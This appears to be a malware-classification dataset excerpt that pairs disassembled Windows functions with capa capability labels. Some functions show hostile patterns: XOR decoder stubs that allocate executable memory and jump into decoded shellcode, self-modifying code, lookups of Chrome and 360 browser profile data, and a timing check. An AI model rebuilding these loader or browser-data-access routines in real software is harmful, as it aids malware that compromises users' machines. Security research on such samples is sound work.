joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100329b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100329bf
pop dword [ebp - 0x24]
mov eax, 0x59b765c7
add eax, 0xb64bc3f8
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xc2685f57
sub dword [ebp - 0x34], 0x74161a0c
mov dword [ebp - 0x30], 0xf5677a8d
sub dword [ebp - 0x30], 0xc3342e48
mov dword [ebp - 0x2c], 0xc53c6313
add dword [ebp - 0x2c], 0x870fe11b
mov dword [ebp - 0x28], 0x1b41bde0
sub dword [ebp - 0x28], 0x1b41bde0
lea eax, [ebp - 0x34]
push eax
mov eax, 0xf79b8abe
sub eax, 0xe79839a6
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x125a0bdb
sub dword [ebp - 0x34], 0x9de7a285
mov dword [ebp - 0x30], 0x645ab007
add dword [ebp - 0x30], 0xdd11b16e
mov dword [ebp - 0x2c], 0x871757f7
add dword [ebp - 0x2c], 0xdc581475
mov dword [ebp - 0x28], 0x96fd4907
add dword [ebp - 0x28], 0x6902b6f9
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x13aa1f6b
sub eax, 0x3a6ce07
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3bd52
push 0
call eax
mov ecx, 0x4e0d9c6a
add ecx, 0xb1f2ae9c
xor edi, edi
add edi, eax
mov edx, 0x57414849
add edx, 0xb8c73bb7
add edx, dword [ebp - 0x24]
mov esi, 0xab84aa5c
add dword [ebp - 0x20], ecx
mov ebx, dword [edx]
sub dword [ebp - 0x10], 0x993bd93e
add ebx, esi
xor dword [ebp - 0x18], esi
mov dword [edi], ebx
sub dword [ebp - 0x10], 0x29384322
add edi, 0x7ad4fba6
add edi, 0x852b045e
add edx, 0x906b80d0
add edx, 0x6f947f34
loop 0x10032add
add eax, 0x11eeb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1003384b
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov eax, dword [esi + 0x50]
cmp eax, dword [esi + 0x54]
jae 0x10033862
mov bl, byte [eax]
inc eax
mov dword [esi + 0x50], eax
jmp 0x100338ce
cmp dword [esi + 0x4c], 0
jl 0x100338cc
mov edi, dword [esi + 0x58]
push 0xfa0
push edi
push dword [esi + 0x4c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
jne 0x1003389a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 4
je 0x1003386b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 0xb
je 0x1003386b
cmp ebx, 1
jge 0x100338a7
or dword [esi + 0x4c], 0xffffffff
xor bl, bl
jmp 0x100338ec
lea eax, [edi + 1]
mov dword [esi + 0x50], eax
lea eax, [ebx + edi]
mov dword [esi + 0x54], eax
mov bl, byte [edi]
test bl, bl
jne 0x100338ce
push esi
call fcn.100348ff
mov eax, dword [esi + 0x50]
or dword [esi + 0x4c], 0xffffffff
pop ecx
mov dword [esi + 0x54], eax
jmp 0x100338ce
xor bl, bl
cmp bl, 0xa
jne 0x100338e2
mov eax, dword [esp + 0x18]
and dword [eax], 0
mov eax, dword [esp + 0x14]
inc dword [eax]
jmp 0x100338ec
test bl, bl
je 0x100338ec
mov ecx, dword [esp + 0x18]
inc dword [ecx]
pop edi
pop esi
mov al, bl
pop ebx
ret
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000acde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000aced
pop dword [ebp - 0x14]
mov eax, 0x755e3c24
sub eax, 0x655d8f37
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3765f
push 0
mov eax, 0x5ae96a15
sub eax, 0x4ae8a905
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x48ce
xor esi, esi
add esi, eax
mov edx, 0xecc1446e
sub edx, 0xdcbf7e6e
add edx, dword [ebp - 0x14]
mov ebx, 0xff83fa9f
add ebx, 0x57464f70
mov dword [ebp - 0xc], 0x54f6c859
mov edi, dword [edx]
sub dword [ebp - 8], 0x27517a65
xor edi, ebx
mov dword [esi], edi
xor dword [ebp - 0xc], 0xf5a7e9af
add esi, 0x91f2409b
sub esi, 0x91f24097
add edx, 0x54c90918
sub edx, 0x54c90914
loop 0x1000ad48
add eax, 0xf9d943a8
sub eax, 0xf9d82d9d
xor ebx, ebx
add ebx, eax
add eax, 0x62a34d10
sub eax, 0x62a34d0b
mov ecx, 0xf89f8807
sub ecx, 0xe89f8807
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10003810
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10003869
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10003869
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x1000385a
cmp esi, edx
jae 0x10003869
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x10003848
cmp esi, edx
jae 0x10003869
cmp word [esi], 0
je 0x10003869
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x100065b0
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101503e8
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x10198e28]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov dword [ebp - 0x22c], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x228], 0
call fcn.10003000
mov ecx, eax
test ecx, ecx
je 0x100067b5
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
push 0x20a
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x228], 1
call fcn.101293f0
add esp, 0xc
lea eax, [ebp - 0x21c]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x21c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10006654
sub ecx, edx
lea eax, [ebp - 0x21c]
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.10006430
push 0x17
push str.360se6_appsdatausers
mov ecx, edi
call fcn.10005420
push str.default360sefav.db
lea eax, [ebp - 0x224]
push edi
push eax
call fcn.10005280
add esp, 0xc
push dword [eax]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edx, dword [ebp - 0x224]
test eax, eax
sete byte [ebp - 0x21d]
or ebx, 0xffffffff
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x100066c6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [ebp - 0x21d], 0
je 0x10006795
push 0
push 0x1015b988
push str.InstallLocation
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall360se6
lea eax, [ebp - 0x224]
push SysReAllocString
push eax
call fcn.10033b70
add esp, 0x18
push eax
mov ecx, edi
mov dword [ebp - 4], 1
call fcn.10005210
mov edx, dword [ebp - 0x224]
mov eax, ebx
mov byte [ebp - 4], 0
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10006728
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [edi]
cmp dword [eax - 0xc], 0
je 0x10006795
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov dword [ebp - 0x224], esi
call fcn.10005580
add eax, 0x10
add esp, 4
mov dword [esi], eax
lea eax, [ebp - 0x224]
push eax
call fcn.10033ca0
add esp, 8
push eax
mov ecx, edi
mov dword [ebp - 4], 2
call fcn.10005210
mov eax, dword [ebp - 0x224]
mov byte [ebp - 4], 0
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x10006787
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
push 0xf
push str.appsdatausers
mov ecx, edi
call fcn.10005420
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.10002c10
int3
Function at 0x10008c40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1014feab
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x10198e28]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0
push 0x1c
push eax
push 0
mov dword [ebp - 0x21c], esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.GoogleChromeUser_DataDefault
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
call fcn.10003000
mov ecx, eax
test ecx, ecx
je 0x10008d1c
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x10008cd0
movzx eax, ax
mov ecx, esi
push eax
call fcn.10003630
jmp 0x10008cfe
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10008ce0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.10006430
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.10002c10
int3
Function at 0x1000cb10
Capabilities:
Check if file exists
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10150be8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x10198e28]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1000cb58
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
push 0
push 0
push 0x80
push 3
push 1
push SysReAllocString
push esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
call fcn.1000ca70
mov esi, dword [ebp - 0x20]
test eax, eax
js 0x1000cc95
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 0x18], ebx
cmp ebx, 0xffffffff
jne 0x1000cbb8
call fcn.1000c920
test eax, eax
js 0x1000cc95
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
test eax, eax
jb 0x1000cc95
ja 0x1000cc95
test ebx, ebx
je 0x1000cc95
test eax, eax
ja 0x1000cc95
jb 0x1000cbe7
cmp ebx, 0x500000
jae 0x1000cc95
mov edi, dword [ebp + 0xc]
mov edx, dword [edi + 0x10]
cmp ebx, edx
ja 0x1000cc04
mov dword [edi + 0x10], ebx
mov eax, edi
cmp dword [edi + 0x14], 0x10
jb 0x1000cbfe
mov eax, dword [edi]
mov byte [eax + ebx], 0
jmp 0x1000cc51
mov eax, dword [edi + 0x14]
mov ecx, ebx
sub ecx, edx
mov dword [ebp - 0x10], eax
sub eax, edx
mov dword [ebp - 0x14], ecx
cmp ecx, eax
ja 0x1000cc3f
cmp dword [ebp - 0x10], 0x10
mov eax, edi
mov dword [edi + 0x10], ebx
jb 0x1000cc24
mov eax, dword [edi]
push ecx
lea esi, [eax + edx]
push 0
push esi
call fcn.101293f0
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov byte [esi + eax], 0
mov esi, dword [ebp - 0x20]
jmp 0x1000cc51
push 0
push ecx
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
mov ecx, edi
call fcn.1000c7b0
cmp dword [edi + 0x14], 0x10
jb 0x1000cc59
mov edi, dword [edi]
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1000cc81
call fcn.1000c920
mov esi, eax
not esi
shr esi, 0x1f
jmp 0x1000cc97
xor esi, esi
mov eax, 0x80070026
cmp dword [ebp - 0x10], ebx
cmovne esi, eax
not esi
shr esi, 0x1f
jmp 0x1000cc97
xor esi, esi
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x1000cca5
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001e480
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x811c9dc5
sub edx, edi
sar edx, 1
add edx, edx
je 0x1001e4b1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edx
jb 0x1001e4a0
pop edi
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x100272f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10198e28]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x10027391
cmp byte [esi + 0x3d], 0
je 0x10027391
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x10027347
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x10027359
sub eax, 1
je 0x1002735d
sub eax, 2
je 0x10027391
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1002737a
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.10139aba
add esp, 0x10
cmp edi, eax
jne 0x10027347
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.1011bafc
mov esp, ebp
pop ebp
ret

Function at 0x10027530
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10152c80
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10198e28]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.1011bb0d
mov edi, eax
add esp, 4
test edi, edi
je 0x100275db
push 1
mov dword [ebp - 4], 0
call fcn.100536e4
mov dword [edi + 4], eax
add esp, 4
mov dword [esi + 0x30], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10029b60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10198e28]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10029b90
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x10029bcc
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x10029bcc
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x10029cb1
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10029bf4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10029c27
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.101391d7
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x10029cb1
cmp eax, 1
jle 0x10029c84
cmp eax, 3
jne 0x10029cb1
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.10025560
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011bafc
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10029ca1
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.10139aba
add esp, 0x10
cmp edi, eax
jne 0x10029cb1
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x10029bb7
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011bafc
mov esp, ebp
pop ebp
ret 4
Function at 0x1002a4e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x1002a504
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1002a5d0
pop edi
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [edi + 0x1c]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov eax, dword [eax]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], eax
test eax, eax
je 0x1002a525
mov eax, dword [edi + 0x2c]
mov eax, dword [eax]
jmp 0x1002a527
xor eax, eax
cdq
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test ebx, ebx
jl 0x1002a5af
jg 0x1002a53a
test esi, esi
je 0x1002a5af
test ecx, ecx
jl 0x1002a57c
jg 0x1002a544
test eax, eax
je 0x1002a57c
cmp ebx, ecx
jg 0x1002a556
jl 0x1002a54e
cmp esi, eax
jae 0x1002a556
mov eax, esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], ebx
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call fcn.101288f0
mov ecx, dword [ebp + 0x10]
add esp, 0xc
mov eax, dword [edi + 0x2c]
add dword [ebp + 8], ecx
sub esi, ecx
sbb ebx, dword [ebp - 4]
sub dword [eax], ecx
mov eax, dword [edi + 0x1c]
add dword [eax], ecx
jmp 0x1002a582
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
test ebx, ebx
jl 0x1002a5af
jg 0x1002a58c
test esi, esi
je 0x1002a5af
cmp dword [edi + 0x4c], 0
je 0x1002a5af
mov ecx, edi
call fcn.10027850
push dword [edi + 0x4c]
push esi
push 1
push dword [ebp + 8]
call fcn.101394a7
add esp, 0x10
sub esi, eax
sbb ebx, 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
sub eax, esi
pop esi
sbb edx, ebx
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1002a6a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x1002a6c4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1002a780
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov eax, dword [eax]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], eax
test eax, eax
je 0x1002a6e5
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x1002a6e7
xor eax, eax
cdq
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x1002a764
jg 0x1002a6fa
test esi, esi
je 0x1002a764
test ecx, ecx
jl 0x1002a73e
jg 0x1002a704
test eax, eax
je 0x1002a73e
cmp edi, ecx
jg 0x1002a716
jl 0x1002a70e
cmp esi, eax
jae 0x1002a716
mov eax, esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.101288f0
mov ecx, dword [ebp + 0x10]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [ebp - 4]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x1002a741
mov edx, dword [ebp + 8]
test edi, edi
jl 0x1002a764
jg 0x1002a74b
test esi, esi
je 0x1002a764
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x1002a764
push eax
push esi
push 1
push edx
call fcn.10139aba
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1002a840
Capabilities:
Hash data with md5

Disassembly:
mov byte [ecx + 0x68], 0
mov eax, ecx
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x10], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret

Function at 0x1002abe0
Capabilities:
Hash data with md5

Disassembly:
mov byte [ecx + 0x68], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x10], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret

Function at 0x1002d0c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi + 8], 0
je 0x1002d11c
cmp dword [esi + 4], 0
je 0x1002d11c
push ebx
push 0
push 0
push 0x12
push dword [esi]
mov dword [esi + 0xc], 1
call dword [sym.imp.USER32.dll_PostThreadMessageW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
cmp dword [esi + 8], 0
mov dword [ebp - 4], eax
je 0x1002d118
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
sub eax, dword [ebp - 4]
cmp eax, 0x1f4
jae 0x1002d117
push 0xa
call edi
cmp dword [esi + 8], 0
jne 0x1002d101
pop edi
mov eax, dword [esi + 8]
pop ebx
mov ecx, dword [esi + 0x34]
add esi, 0x10
test ecx, ecx
je 0x1002d13b
mov edx, dword [ecx]
cmp ecx, esi
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [esi + 0x24], 0
pop esi
mov esp, ebp
pop ebp
ret